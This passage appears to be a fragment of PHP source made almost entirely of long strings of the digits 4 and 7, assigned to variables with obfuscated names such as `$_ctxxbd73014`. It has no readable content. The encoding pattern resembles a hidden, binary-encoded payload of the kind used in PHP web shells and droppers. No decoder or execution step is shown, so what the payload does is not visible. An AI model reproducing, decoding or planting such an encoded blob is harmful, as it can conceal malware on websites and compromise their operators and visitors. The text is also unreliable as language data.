474444444444444447444444474447444444444444444444444444444744444444444444444444444744444447444444444444444444444444444444444447444444444444444444444447444444444444444744474444444444444444444444474444444444474447444444444444444444474444444444444447444444444447444444444447444444474447444444474447444444444444444744474444444444444444444444474444444744474444444444444447444444474447444744474447444444474444444744444447444444474444444444444447444444444444444444474444444444444447444744444444444444444447444444444444444444474444444444444444444444444444444444474444444444444447444444444444444444444444444444444444444744444444444744444444444444444444444444444444444744444444444744444444444444444444444444444444444444444444444444474444444744474447444744444447444444444444444444444444444444444447444444444444444744444444444444444444444444444444444744444444444444444444444444444444444444474444444444474444444444444444444444444444444744444444444444444444444444474444444444474444444444444447444744474444444444474447444444474447444444474444444444474444444444444444444444474444444444444447444444474447444444474444444444444444444444474444444444444444444444444444444444444444444744444444444444444444444444444444444444444447444444444447444444474444444744444444444444444444444744474444444744444444444444444447444444444444444444474444444444444444444744444444444444474444444444444444444444444444444444444444444444444444444444444447444444444444444444444447444744474447444444444444444444474444444444444447444444474444444444474447444444444444444744444444444444444444444444444444444444444444444744444444444444444444444444444447444444444444444444474444444744444447444444444444444744444447444744444444444444444444444744474444444444444444444444444444444444474444444444444444444444444447444444444447444444444444444744444444444444444444444444444444444444474444444444444447444744444444444444474444444744444444444744444444444744474444444444444447444744474444444444444444444444444444444444444444444744444444444444444444444444444444444744444444444444444444444744444444444444444444444444444447444744444444444444444447444444474444444744474444444744444444444444444444444444444444444744444447444744444444444444444444444444444444444444474444444444444444444444474444444444444447444444444444444444444444444444444444444444444447444444444444444444474444444444444444444444474447444444444444444444444447444444474447444444444444444444474447444444444444444444444444444744444447444444444447444444444444444444474444444444444444444444444444444444474444444444444444444444444444444444444444444444444444444744474444444444444444444444474444444444474444444444474447444444444444444444444444444744444444444744444444444444444447444444444444444744444444444744444444444444444444444444474444444444474447444444444447444744444447444744444444444444444444444444444444444444444447444444444444444444444444444744444444444444444447444444474444444444444444444444444444444744444444444444444444444744474444444744444444444444444447444744474444444744474444444444444447444444444444444444444444444744444444444444474444444444444444444744444444444444444447444444444444444444474444444444444444444744444447444444474444444444474447444744474444444744444447444444474444444444444447444744444444444444474444444444444447444444474444444744474444444444444444444444444447444744444444444444474447444444444447444744474444444444444444444744444444444444444444444744474444444444444444444444444447444444444444444444474444444444474444444744444444444444474444444444444447444444474447444444474444444444444447444444444444444444474444444744474447444744474447444444444447444744474444444444474447444744444444444444444444444744444444444444444444444444474444444744444444444444444444444444474444444744444444444744444444444444444444444444474444444444444444444444444447444444444447444444444444444744474444444444444444444444444447444444444444444444474444444444444444444444474444444444444444444444444444444444474444444444444444444744444444444444444444444444474444444444444444444744474444444444444444444444474447444444474444444444474444444444444444444744444444444444444444444444474447444444444444444744474444444444444444444444444444444444444447444444444444444444444444444444474447444444444444444444474447444444444444444444474444444444444447444444474444444744444444444444444444444444474444444444474444444444444444444444444447444444444444444444474444444744444444444444444447444444444444444444444447444444444447444444444444444444444447444444474444444444474447444444444444444444474444444744474444444444444444444444444444444744444444444444444447444444444444444444444444444444444447444444444444444444474444444444444444444444444447444744444444444744444444444444474447444744474444444444444444444444444447444444444444444444474444444744444444444444444444444744444444444444474444444744474444444744474447444744444447444444474444444444444444444444474444444444444444444444444444444444474444444444474444444444444447444444474444444444444444444744444447444444444444444444444444444744444444444444474444444744444447444444444444444444444447444444444447444444444444444444444444444444444444444444474444444444444444444444444444444444444444444444474444444744474444444744444447444444444447444444444444444444444447444444474444444444444444444444444444444444444447444444444444444744474444444444444447444444474444444444444444444744444444444444444444444444474444444744474444444744444444444444444447444744444447444744474444444444444447444444444444444444444444444444474444444444444447444744474444444444444444444444444444444444444447444444444447444744444444444744444447444744444444444444444444444444444444444444444444444744474447444444444444444744444447444444474444444444444444444744474444444444444444444444444444444444474444444744474444444444444444444444474444444444444444444744444447444744444447444744444444444444474444444444444447444444444447444744444444444444444447444444444444444744474444444444474444444444474444444444444447444444444444444444444444444444444447444444444444444744444444444444444444444444444444444444444444444744444444444444444444444744444444444444474444444444444444444444444444444444474447444744444444444444444444444444444447444444444444444444474444444444444444444444444444444444474447444444444447444444444444444744444444444444444444444444474444444744444444444444444444444744474444444744444444444744474444444444474444444444444447444444474444444744444447444444444444444444444447444444444447444744474444444444444444444444474444444444444444444444444447444444474444444444444444444444444444444744444447444444474444444444444444444444474444444744444447444444444444444744444444444444444444444744474444444744444444444444474444444444474444444444444447444444444444444444444444444744444444444444474444444444444447444744444444444444444447444744444447444444474444444444444444444444444444444444444447444444474444444444444444444444474444444744474444444444474444444744444444444444444444444444444447444744444447444444444444444744444447444744444444444444444447444744474444444444444447444444444444444444474447444444444444444444444447444444444444444444444447444744444444444444444444444444444444444444444444444444444444444444474447444444444444444444444444444444474444444444444447444444444444444444444444444444444447444444444444444744474444444744444444444444444444444444474444444744444447444444474444444744444444444444444444444744444447444444444444444744444444444444474444444444444444444444444444444744444444444444474447444444444444444444444444444444444444444444444447444444444444444444444447444744444444444744474444444444444444444444444444444444444444444744474447444744474444444444474444444744444444444444444444444444474447444744474444444444444447444744444444444444444444444744444447444444474444444444444444444444474444444444474444444444474444444444444444444444444444444744444447444444444447444444444444444444444444444744444447444444444444444444474447444444474444444744444444444444444447444444444444444444444444444744444447444444444444444744444444444444444447444744444444444444444444444444444447444444444444444444474444444444444444444744444447444444444447444744444444444444444447444444444444444444474444444744444444444444444444444744444447444444474444444444444444444444474447444444474444444744474447444744444444444444444447444444474444444444474444444444444444444744444444444444444447444444474444444744474444444444444444444444444444444744444444444444474444444744444447444444444447444744474447444444444447444444444444444444474447444444444447444744444444444444444444444444444444444444444447444444444444444744444444444444444447444444474444444744444444444444474444444744444447444444444444444444444447444444474444444444444444444744444444444444444444444444444444444744474444444444444444444444444444444744474444444444474444444444474444444444474444444444474444444444474444444444444447444744474447444744474444444444444444444444444444444444444444444444444444444444474447444444474444444744444447444444444444444444474447444444444444444444474444444444474444444444474447444444444444444744444447444444474447444444474447444444444447444744474444444744474444444444474447444444444447444444474447444444444444444444444444444444444444444444474444444444444444444744444444444444474444444444444444444444444447444444474444444444444447444744444444444444474444444744444447444444444444444744474444444444444444444444444447444444444444444444474447444744444444444444444444444444444444444444444447444444474444444444444444444444444447444744444444444444444447444444444444444744444447444444474444444444444444444444474447444444444447444744444444444744444444444444444447444444474444444444444444444444444444444444444444444744444444444744444447444744444447444444444444444744444447444744444444444444444447444444444444444744474444444444444444444444444444444444444447444444444447444444444444444444474444444444444444444744474447444444444444444744444444444744444444444444444444444444444444444444444444444444444447444444444447444444444444444444474444444744444444444744444444444744474444444444444444444744444444444444444444444744444447444444474444444444444444444444444444444744474447444444444444444744444444444444444444444444444444444444444444444444444444444444474444444744444444444444474444444444474447444444444444444444444444444444444444444444444444444744444444444744444444444444444444444444444444444444444447444444474447444744474447444444474444444444474444444744444444444444444447444444444444444444474444444744444444444444444444444444444447444744474447444444444447444444474444444744474447444444444444444444444447444744444447444444444444444744444444444444444444444744474444444744474444444444444444444744474447444444444444444444444444444744444447444744444444444444444444444444444444444444474444444444474444444744444447444744444444444444444447444744444444444444474444444444444444444444444444444444444447444444444444444744444444444444474444444444444444444444444444444744474444444444444444444444444447444744474444444444444444444444444447444444444444444744444444444744444444444444444444444444444444444444474444444444444447444444444447444444444447444744444444444744444444444444444444444744444444444744444447444444444444444744444447444744474444444444444447444444444444444444444447444444444444444444444444444444444444444744444447444444444444444744474444444444444447444444444444444744444447444744444444444444444444444444444447444744444447444444474444444444444444444444444447444744474444444444444444444744474444444444444447444444444444444444474444444444444444444444444447444744444447444444444447444444474444444444444444444744444444444444444444444744444444444444444444444444474444444444474447444744444444444444474444444444474447444444474444444444444447444744444447444444444444444444474444444444444444444444474444444744444447444744474444444444444447444444444444444444444444444444474447444444444444444444444447444744444444444444444444444444444447444744474444444444444447444444444444444444444447444444444444444444474444444744444444444444444444444444444444444444474444444744444447444444444447444444444444444744444447444444474444444444444444444444444444444444474447444744444444444444474447444444444444444444444444444444444444444444444444444444444444444444444447444444474444444444444444444444474444444444444444444444444444444444444447444444444444444444444447444744444444444444474444444444474444444744444444444444444444444744444444444444444444444744444444444444474444444444474444444444444447444444474444444444444444444744444444444744444444444444444444444744444447444444444447444444444447444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444474447444444444447444444444447444444444447444744444444444444474447444444474444444744444447444444444444444444474444444744444444444744444444444744444444444744474444444444444444444444444447444444444444444444444444444444444447444444444444444744444444444444444444444444444447444444444444444444474444444444444444444444474444444444474444444444444444444444474444444444444444444444444444444744444444444444474444444444474447444744444444444744444444444744444444444444444444444444444444444444444444444444444444444744444447444444444444444444444444444444444444444744444444444744444444444444444444444444444444444444444447444444444444444444444444444444474444444744444444444444474444444444444447444744444444444744444444444444444444444444444444444444444444444444444444444744444444444744474444444444444444444444444447444444474444444444444447444444444444444444444447444444444444444444444444444444444444444444444444444744474444444444474444444744444444444444444444444444444444444744444444444444474444444444444444444444444444444444444444444744474444444744444444444744444444444444474447444444474444444444444447444744444444444444474444444444444444444744444447444744444444444744474444444744474444444444444444444444444444444444444444444444444444444444474444444444474444444444444444444444444444444444444444444444444447444444474444444744444444444444444447444444474447444444444447444444474447444444444444444444444447444744444444444744474444444444474444444444444444444744444444444444474444444444474444444744444447444444444444444444444444444744444444444444444447444744444444444444444447444744444447444444444444444744444447444444444444444444444447444744474447444444444444444744474444444444444444444444444447444444474444444744444444444444444447444444444444444744444444444444444444444444474444444444444444444444444447444744444444444444444444444444444444444444444447444744444444444444444444444744474444444444474444444744474447444744444447444744444444444444444444444444444444444444444444444744444444444444444444444444444444444744444444444444474447444744474444444444444444444744444444444744444444444444444447444744444444444444444444444444444444444744474444444444444444444444444444444744444444444444444444444744444444444744444447444444444444444444444444444444444444444444474444444744474444444744444444444744444444444444444444444444444447444444444444444444474447444744444444444444444444444444444444444444474444444744444447444444474444444444444444444444444444444444474447444444444444444744474447444444474444444444444444444744444444444444474444444444474444444744444444444444444444444444444444444444474447444444474444444444444444444444444444444744474444444444444444444444444447444744444444444444444444444744474444444444444444444444474444444744444444444444444447444744444444444444444444444444444444444444444444444444444444444444474444444744444447444444444444444444444444444744444447444444474444444444444447444444474444444444474447444444444444444744444444444744444447444744444444444444444444444444444444444444444444444444474447444444444444444444444444444444444447444444444444444444474447444444444444444444474444444444444444444444444444444444444444444744474444444744474444444744474447444744444444444444444444444444444444444744444444444744444444444444444444444444444447444444444444444444474447444744444447444744474447444444444444444444444447444744444444444444474444444444444447444444444444444744444444444444444447444444474447444444474444444444444447444444444444444444444447444444444444444444444444444444444444444444444444444444444444444444444444444744444444444444474444444444474444444444444444444444444444444744474447444444474444444444474444444744444447444444444444444744444444444444444447444444444444444444444444444744474447444444444444444444444444444744474444444444444444444744444447444444444447444444444444444444474444444444474444444444444447444444444444444444444444444444444447444444444444444444444444444444474444444444444444444444444444444444474444444444444447444444444444444744474444444444474444444744474444444444444447444744444444444444444444444444444447444444444444444444444444444444444444444744444447444444444444444444444444444444474444444744444447444444474444444444444444444444444447444444444444444744474447444744474444444444444444444444474444444744444444444744444444444744444444444444444444444444444447444744444444444444444444444444444447444444444444444444444447444444474444444444444447444744444444444744444444444444474447444744444444444444444447444444444444444444444444444444444444444444444444444744444444444444444444444444444444444744444447444444444447444444444444444444444444444444474444444444444444444444474444444744444447444744444447444444474444444744444444444444474444444444474444444444444444444444444444444444444444444444444444444744444444444444444444444744444444444744444447444444474447444444444444444444444444444444444444444444474444444744474444444444474444444444444444444744444444444444444447444444474444444444474444444444474444444444474444444444444444444444444444444444474444444744474447444444474447444444444447444444444444444744444444444444444444444444444444444744444444444444444447444444474444444744444447444444444444444444444444444444444444444744444444444744444444444444474444444744474447444444444444444744444444444444474447444444474444444444444447444444444444444444474444444444444444444444444444444444444444444444444444444444444447444444444447444444444447444444444444444444444444444444474447444744444444444744444447444744444447444444474447444444444444444444444444444444474447444444444444444744444444444444444444444444474444444444444447444744444447444444444447444444444444444744444444444444444444444444444447444444444444444444444444444444444444444444474447444444444444444744474444444444474444444444474444444444474447444444444444444744474447444444444444444444444447444444444447444444474444444444444444444444474444444444444444444444474444444444474444444744474444444444444444444444444444444744444444444444474444444444444444444744444444444444474444444744444447444744444444444444474447444444444444444444444444444444444447444744444444444444474444444744444444444444444444444444444447444444444444444744444447444444444444444744444444444744444444444444444444444744474444444444444444444444444444444444444447444444474444444744444444444744444444444744444444444444474444444444474447444444444444444744474447444744444444444744474444444744444447444444444444444444444444444744444447444444444447444444474444444444444444444444474447444744444447444444444447444444444444444444474444444744474447444744474444444444444444444444444447444444474444444744444444444444444444444744474444444744474444444444474444444744474444444744444444444744474447444444444444444444444444444444444444444744474444444744444447444744474444444744444447444444444444444744474447444444474444444744474444444444444444444444444444444444444447444744444444444444474444444444444447444444444444444444444444444744444444444744444444444444444444444444444444444744444444444444444447444744474447444744444444444744444444444744444447444444444444444444444444444444444444444744444447444444444444444444474444444444444444444444444444444444444444444444444444444444444444444444444447444744444447444444444444444744444447444444444447444444444447444444444447444744474447444444444447444444444444444444444447444444444444444444474447444444444444444444474447444444474444444444444444444744474444444444474444444744444447444444474444444444444444444744444447444444444447444444444447444444444444444444474447444744444444444744444444444444444444444444444447444444444444444744474444444444474447444744444447444444444444444444444444444444444444444444444447444744444444444744474447444444444444444444474447444744444447444444444447444444444444444444444444444444474444444744444444444444444447444444444444444444444447444744444447444744444444444444444444444444474444444444444444444444444444444444444444444444474447444444444444444444444447444444474444444444444444444444474444444744444447444444444444444444444444444444444447444444444444444444444444444444444447444444444447444444444444444744474444444444444444444444444447444444444444444744474444444444444444444444444444444744444444444444474444444444474444444744444444444444444447444744474447444744444447444444444444444444474444444444474447444444444447444744444444444744474444444744444447444444444447444444444447444744444444444444444447444444444444444444444447444444444444444444444447444444444444444744444444444444444444444444444444444444444444444444444447444744444444444444474447444444444444444744444444444444444444444444474444444444474447444444444444444444444444444444474444444444444444444444444444444744444444444444444444444444444444444744444444444444474444444444444444444744444447444444444447444744474447444744474447444744444444444444444447444444444444444444474447444744444447444444474444444444444444444444444444444444474444444744444444444444444444444444444447444744444444444744474447444444474444444744444444444444474444444444474447444444444444444744444444444444444447444444474444444744444444444444444444444744444447444444474444444744474444444744444444444444444444444744444444444444444447444444444447444444444447444444474444444444444444444744474447444444444447444444444444444444444447444444444444444444474447444744444444444444444444444444474444444744444444444444474444444744444444444744444444444744444444444444444444444444444444444444474444444444444447444744444447444744444444444444444444444744444444444444444444444444444447444444444444444444444444444444444447444444444447444444444444444744444447444444444447444744474444444444444444444444444444444744474444444444474444444444444444444444474444444444474447444444444444444444474444444744444444444444444444444444444444444444444444444444474444444444444444444444444447444744444444444444444447444444444447444444444447444744474444444444444444444744444444444744444447444444444447444444444444444444474444444744444444444444444444444744444444444444444447444744474444444444474444444444474444444444444447444744474447444444444444444444474447444744474444444744474444444744444444444444444444444444444444444444474444444744444444444444474444444744474444444444444444444444444444444744444444444444444444444444474447444444474447444744444444444744444444444744444444444444474447444744444444444444444447444444444444444444444447444744474444444744444444444444444444444444444444444444444447444444444444444744444447444444444444444444444444444444474447444444474444444444444444444444444444444444444444444744474444444444474444444444444444444444474444444444444444444444444444444444444444444744474447444744444444444744444447444444444447444444444444444444444444444444444444444444474444444744444447444444474447444444444447444744444444444444444447444744444447444444444444444444444447444444444447444444444447444744474444444744444447444444444447444744474444444444474444444444444444444744444444444444444444444444474447444744474447444444444447444444444444444744444447444444474444444444444444444444474444444444444444444744444447444744444444444444444447444444444447444444444447444444474444444744474444444444474447444744474444444444444444444744444444444744444444444444444444444444444444444744444444444444474444444444444444444444444447444444444444444744474444444444444444444444444444444444444444444744444444444744444447444444444444444444474444444744474444444744444447444444444444444444474444444744444444444444474447444444444444444444444447444444474444444444444444444444474444444744444444444744444444444744444444444744444444444744444447444744474444444444444444444744444444444744444444444744444444444444474444444444474447444444444444444444474444444444474444444444474444444744444444444444444444444744444447444744444447444444444444444444474444444444444444444444444447444444474444444744444447444444474444444744444444444444474444444444444444444444474444444444444444444444474444444444444444444744474444444444474444444744474444444744444444444744444444444744444444444444474444444744444444444444474447444744474447444444444444444444474444444744444444444744474444444444474447444444444444444444444444444444474447444744474444444444444444444444474444444744444447444444444447444444474447444744444444444444444444444444444444444444474447444444444447444444444444444444444444444444444444444744474444444444474447444744444444444744444447444744474444444444474444444444444444444444474444444444444444444444444444444444444444444444444444444444444447444444474444444444474444444444474444444744444444444444444444444444474444444444444444444444474444444444444444444744444444444444444444444444444444444444444444444444444444444444444447444444444444444444444447444444444444444444474444444744474447444444444447444744444444444444474444444444444444444444444444444444444444444444444447444444474447444744444444444444474444444444474447444444474444444444474444444444444447444444474444444744474444444444474444444444474444444444444447444744444447444444474444444744444447444744444444444444444444444744474444444444444444444444474444444744474444444444474444444444474447444744444444444744474444444444444447444444444447444444444444444444444447444444444447444444474444444444444447444744474444444744444447444744444444444744474444444744474444444444444447444444444447444444444444444744474444444444444444444444444444444444444444444444444444444444444444444444474444444444474444444744444444444744444444444444444444444444444444444444444444444744444444444444474444444444444444444744444444444744444444444744474444444744444444444444474444444744444444444444444447444444444444444444474447444444444447444744444444444744444444444444444444444444444444444444444444444444444447444444444444444444444444444444474444444444474444444444444444444444444447444444444444444444444444444744474444444744444447444744444447444744444444444444444444444444444447444444444444444744444444444444444444444444444447444444444444444444444444444744474444444444474444444444444444444444444444444444474447444444444444444444444444444444444447444744474444444744444444444744444444444444444447444444474444444744474444444444444447444744474444444744474447444444444444444444444444444444474447444444474444444444444447444444474444444744444447444744444444444744444444444444444444444444444444444744444444444744444444444744444447444744444444444444474447444444474444444744444444444444474444444444474447444444444444444444444444444444474444444444444444444444474444444444444444444444444444444444444444444444444447444444444447444444444444444444474447444744474444444744444447444444444444444444474444444444474444444444444444444444444444444444444444444744444447444744444444444444444444444444444447444444444444444444444444444444444444444444444444444444474447444744444444444444474444444444444444444444444444444444444444444744444444444444474444444744444444444444444444444444474447444444474447444444444447444444444444444444474444444444474444444444444444444444444444444444474444444744474444444444474444444444444444444444444444444444474444444444444447444444444447444744444444444444444444444744444444444444444447444444444447444444444447444744474447444744444444444444444447444444444447444444474447444444444444444744474444444444474444444444474444444444444447444444444444444444444444444444444444444444444447444444444444444744474444444444444444444444444444444744444444444744474447444444444447444744444444444744444447444444444444444744474444444744444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444447444444444444444444444444444444444444444444444444444444444447444744474444444744444444444744444444444444444447444444474444444444474444444744444444444444474447444444444444444444444447444744444447444444444444444744444447444444474444444744474447444444474447444444444444444444474444444444474444444444444444444744474444444444444447444444444447444444444444444444444447444744474444444744444447444444444444444444444444444444444444444744474444444444444444444744444444444444444447444444474444444444444444444444444444444444444444444744444444444444474447444444474444444744474444444444444444444744474447444744444447444444444444444444474447444444474447444744444444444444444447444444444444444744444444444444444447444744444444444444444444444744474447444444444447444444444444444444444444444744444447444444444444444744474444444444444444444444474447444744444444444444444447444744444444444444444447444744444444444444444444444444444447444744444444444444444444444444444444444744444444444444444444444744444447444444474444444444474444444744444447444444444444444444474444444744444447444444444444444744444444444744444444444444444444444444444444444444444444444444444444444744444444444444474444444444474447444744444444444444444444444444444444444444474447444444444447444444444447444744444444444444444444444444444444444744444444444744444444444444444444444444444444444444444444444444444444444444474447444444444444444444444444444744444447444444474444444444444444444444444444444444474444444444444444444444444447444444474444444444474444444744444444444744444447444744474444444444444444444744444447444444444444444744474444444444444444444744444444444444444447444444444444444444444447444744444444444444444444444744444444444744444444444444474444444444444444444444444444444744444447444444444444444444444447444444444444444444474444444744474444444444444447444444444444444744444444444744444444444444444444444444474444444444444444444444474444444444444444444444444444444444474444444744444444444444444447444444444444444744444447444444474447444444444447444444444444444444474444444444474444444444444444444744444447444744444444444744444447444744474444444744444444444444474444444444444444444744474447444744444444444444444447444444444447444444444447444744474447444444444447444744474444444744444444444444444444444444444444444444444444444744444444444444444447444744444447444444444444444744474444444444444444444744444444444444444444444444474444444444444444444744444444444444444444444744444444444744444444444744474444444444474444444744474444444744444444444444474444444444474447444744444444444444444444444444444447444444444447444744444444444444444444444744474444444444474447444444444444444444444444444444444444444444444444444444474444444444474447444444444444444444444447444744444444444444444447444444474444444444444447444444444444444444444444444444444447444444444447444744444447444444444444444744444444444444444447444444444447444744474444444444444447444444444447444444444447444744444444444444444444444744444444444744444444444444444444444744444444444444444444444444444444444744474444444444474447444444444447444444444444444444444447444444444447444444444444444744444444444444444444444744444444444444444444444444444444444444444444444444444444444744444447444444444447444444474444444444444447444444444444444744444444444744444444444444444444444444474447444444444444444744444444444444474444444444444447444444444447444744444444444444444444444444444444444444444444444444444444444744474447444744474447444444444444444444444447444744474444444444444444444744444447444444444444444744444444444444444444444444474444444444444447444444444447444444444444444444444447444744474447444444474447444744444444444444444444444444444447444444474444444444474444444444444447444444444444444444444444444744444444444744444447444444474447444744474444444744444444444444444444444444474447444744474444444444474444444444444444444444444444444744444447444744444444444444444444444444444444444444444444444744474447444744444447444444474444444444444444444444444444444744444444444444444444444744444447444444474444444444444444444444444447444444474444444744444447444444444444444444444444444444474447444444444444444444474447444444444447444444444447444444444447444444444447444744444447444444444447444444474444444444444444444744474444444744444444444444444447444444444447444444444444444444474447444444444447444444444447444444444444444444444444444744444444444444474444444444474444444444444447444444444444444444444444444444444444444444474444444444444447444444444444444444474444444744444447444744444444444444444444444444444444444444444444444444444444444444444444444444474447444744444447444744474444444444444444444444444444444444474444444744474444444444474444444444444444444444444444444444444444444444444447444744444444444744444447444444444447444444444444444744474444444444474447444444444444444444474444444444444444444444444447444744474444444444444447444744474444444744474444444444444444444444444444444444444447444444474447444444444444444444444444444444474444444744444447444444444444444444444444444444444444444444444444444444444444444744444444444444444444444744444444444444474444444444444444444444444444444444444447444444474447444444444444444744444444444444444444444444474444444744444444444444444444444744444444444444444444444744444444444444444444444744444444444444474444444444474444444744444444444444474447444444444447444444444444444744444444444744444444444744444447444444474444444444444444444444474444444744444444444444444444444444444444444744474444444744474444444444444447444444444444444444444444444444444444444444444444444444444444444744444444444444444447444444444444444444444444444444474444444444444444444444474444444444444444444444474444444744444444444744444444444744444444444444444447444444444444444444474447444444444444444744444444444444444444444444444444444444444444444444474444444444474447444444444444444744444444444444444444444444474444444444444444444744474444444744444447444744474444444744444444444744444444444444444447444444444444444744444444444744444447444744444444444744444447444444444444444744474444444444444444444744444447444444444444444444444444444444444447444444444444444444444447444444444447444444444444444744444444444744444444444444474444444444444447444744444444444444474444444744444447444444444447444444444444444444444444444444444444444444444444444444474447444444444444444444474447444444444444444744444444444444444444444444444444444744474444444444444444444744444444444444444444444444444444444444444444444744474444444444444444444444444444444444444447444444444444444444444447444444474444444444474444444444444444444444444444444444474444444444474444444744444444444444474447444444444447444744474444444444444444444444444444444444444447444444474444444444474444444444444444444444444444444444444444444444444444444444444444444444474444444744444444444444444444444444474444444744444444444444444447444444474447444444474444444744444444444444444447444444444444444444444447444444444444444744444444444444474444444444444444444444474447444744444444444444474444444744444447444444474444444444444447444744474444444444474444444444444444444444444444444744444447444744474444444444444444444444444447444444444444444744474447444444444447444444444444444744444444444444444447444444444444444744474447444444444444444444444444444444444444444744474444444444474444444444444444444444444444444444474444444444474444444444474444444444444447444444474444444444474444444744444447444744444447444744474444444444444447444744444444444744444444444444444447444444444444444744474444444444444444444444444444444444444444444744474444444744444444444444474447444444444447444744474447444444444444444444444444444444474447444444474444444444444444444444474444444444474444444444444444444444444444444444444444444744444444444444444444444444444447444444444444444444444444444444444444444744444447444444444447444744474444444444444444444444474444444744474444444444474444444744444444444744474444444444444447444444444444444744444444444444444444444744444447444444444447444444444444444744444444444744444444444744444447444444444444444444444444444444444444444444444444444744444447444744444444444444444447444744444444444744444447444744444447444444444447444444444444444744474444444444444444444444444447444444444447444444474444444444444444444444444444444444474447444444444444444444444444444444444447444744444444444744444444444444444444444444444447444444444444444444444444444744444444444444444444";
        $_ctxxbd73014 = "4444444444474447444744444444444744444447444744444447444744474447444444444444444444474444444444444447444744444444444744444447444444444444444744444444444444444444444444444444444744444447444744444447444744444447444444444447444744444444444744444447444744474444444444474444444744444444444444444444444444444447444744444444444444444444444744474444444444444444444744444444444444444444444444474447444744474447444444444444444444444444444444444447444444444444444444474444444444444444444444444444444444444447444744474444444744474444444444444444444444444444444444474444444444474447444744444444444744444447444444474447444744474444444444444444444444474444444744444444444744444444444444474447444444444444444444474447444744444444444444444444444444444447444444444444444444444444444444474444444444444447444444474444444444474444444444444444444444444444444744444447444444444444444444444444444444444447444744474444444744444444444744444444444444444444444444444447444444444444444744474444444444474444444444444444444744444444444444444444444744474447444444444444444444444444444444444444444444444444444444444444444744474444444444474444444444444444444744474444444744444444444744444444444744474447444744444444444444474444444444444447444444474444444444474444444444474447444444474444444444444447444444444444444444444447444444444444444444444444444744474447444444444447444444444447444744444444444444444444444744444444444444444444444744444447444444444444444444444444444444444444444444444447444444444447444744474447444444444444444444444447444444474444444444444447444444474444444444444444444744444447444444444447444444444447444444474444444444474444444444474444444444444444444444444444444744444444444744444447444444444444444744474447444444474444444744444444444444474444444444444444444744444447444444444444444744444444444444444447444744444444444744444447444444474444444444474444444744444444444444474447444444444444444444474447444444444444444444444444444444474444444744444444444744444444444744444444444444444444444444444444444744474444444444474447444444444447444444444444444444444444444444474444444444474444444744474444444744474447444444444447444444474447444444444444444444444447444444474447444444444444444744444444444744444444444744444444444744444447444444444444444744444444444744474444444444444444444744444444444444444444444444444444444444444444444444444447444444474444444444444444444444474444444744444447444444474447444444444444444444444444444744444444444444444447444444444444444444444444444744444444444744474444444744444444444444444444444444474447444444444444444444474444444444444444444444444447444444474444444444474444444444474444444744474447444444444444444444474444444744444444444744474444444744444444444444474444444444474444444444474447444744444444444444474447444444444444444744444444444444474447444444474447444444474444444444474444444744444444444444444444444744444444444444444447444444444447444444474444444744444444444444474444444444444444444444444444444744444444444444444447444744444444444444474444444444474447444744444447444444444444444444474444444444444444444444444444444744444447444744444447444444474444444744474447444444444444444444474444444444444447444444474444444444444444444444474447444444444444444744444444444444444447444444474444444444474444444444474444444444444444444444444444444444474444444744444444444444444447444744444444444444444444444744444447444444474444444744474444444444474444444444474444444744444444444744444444444744444447444744444444444744444444444744444444444744444444444744444444444444444444444444444444444444444444444444444444444444444447444444474444444444474447444444444444444444474444444444474447444744444444444444444444444444444444444744474447444744444447444444474444444444444444444444444444444744444444444444444444444444444444444444444444444444474447444444444444444744444447444444474447444444444444444444444444444444444444444744444444444444444444444444444444444444444447444744444444444444444444444444444444444444444444444444444444444444474444444444444447444744444444444444474444444444444444444444444444444444444444444744444444444444474447444444444444444444444447444444444444444744474447444744444444444444444444444444444447444444474444444744444447444444444444444444444444444444444444444444444447444444474444444444444447444744444444444444444444444444444444444444444444444444474447444444474444444444444447444444444444444444474444444444474444444444444444444444444444444444444444444744444447444444444444444744444447444444444444444444444447444444444444444444444444444444474444444744444447444444444444444444444447444444444447444444444444444444444444444444444444444444444444444444444447444744444444444444444444444444444447444444444447444444444447444444444444444444444444444444444444444444444444444744444444444444444444444444444444444444474444444444444444444444444444444744474447444744474444444744444444444744444444444444444447444744444447444444444444444444444447444744444447444444444444444444444444444444444444444744474444444444444444444444474444444744474444444744444447444444444444444444444444444444444447444444444447444444474447444744474444444444444447444444444444444444444447444744474444444744474444444744444444444444444444444744474447444444474444444444474447444444444444444744444444444744444444444744444444444444444447444444444447444444444447444444444444444444474447444444444444444444444447444444444444444444474444444744444447444444474447444444444447444444474447444444444444444444444444444744474444444444474447444744444444444444444444444444474444444444474444444444474447444444444444444444444444444744444444444444444444444444444444444444474444444744474444444744444447444744474444444444444444444744444444444444444444444444474444444444444447444444474447444744444444444444444444444444444447444444444444444444444444444444444444444744444444444444444444444444444444444444474444444444444444444444444444444744444444444744474444444444444444444444474444444444444447444744444447444444444447444744474447444444474447444444474447444444444447444444444447444444444444444444444444444744444444444744444444444444444447444444444447444444444444444744444444444444444444444444444444444444444444444444444444444444444444444744444447444444444444444444444444444744444444444444474447444444444447444744444444444444444444444444444444444444444447444744474444444444444444444744444444444444444444444444444444444444444444444444474447444444474447444444444444444744474444444444444444444444444444444744474444444744444444444444444444444744474444444444444447444444474444444444444444444444444444444444444444444444474444444444444444444744444444444444474444444444444444444444444444444744444444444444444444444744444447444444474447444444444444444444474447444444474444444744444447444444444444444444444447444744444447444444444444444444444444444444444447444444444444444444474447444444444447444444444444444444444447444444474444444744444447444444444447444744444447444744444444444444444444444744444444444444444444444744444444444444444444444744444444444744474444444444444444444444444444444444444447444444444444444444474444444444444444444444474444444744474444444444444444444444474444444444474444444744444444444444474444444744444444444744444444444444444444444444444444444444474444444444444444444444444444444444474444444444474444444744444444444744444444444444474444444444474444444444444444444444444444444744474444444744474447444444444444444744474444444444444444444744444444444744444447444444474444444444444444444444444444444444444444444444474444444444474444444444474447444444444444444444444444444444444447444444444444444444474447444444444444444444474444444444444447444444444447444444444444444444444447444444444447444444474447444444444444444444474444444444474444444744474444444744444447444744444444444444444444444444474444444444444444444444474444444444444447444744444444444444474444444444444444444444444444444744444444444744474444444744444444444444474447444444444444444444474444444744444444444444444444444444444447444744444444444444474444444444474447444444444444444444444447444444474444444444474444444444474444444444474447444444444444444744474444444444444444444744444444444444444444444444474444444444444444444444444444444444444444444444444447444744444444444744474444444444474447444444444447444444444444444444444444444744444444444444444444444444444444444744444444444744474444444444444444444744444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444447444444444447444744474447444744474447444744444444444444444447444444444444444444444444444744474444444444444444444444444444444444474444444444474447444444474447444444444444444444474444444444444444444444444444444744444444444444444447444744474444444744444444444444474444444444444444444744474444444444444447444444474444444744444447444744444444444744474444444744444444444444444444444444444444444744444444444744444444444444444444444444474447444744444447444444474444444444474444444744444444444744444444444444444447444444474444444744444447444444474444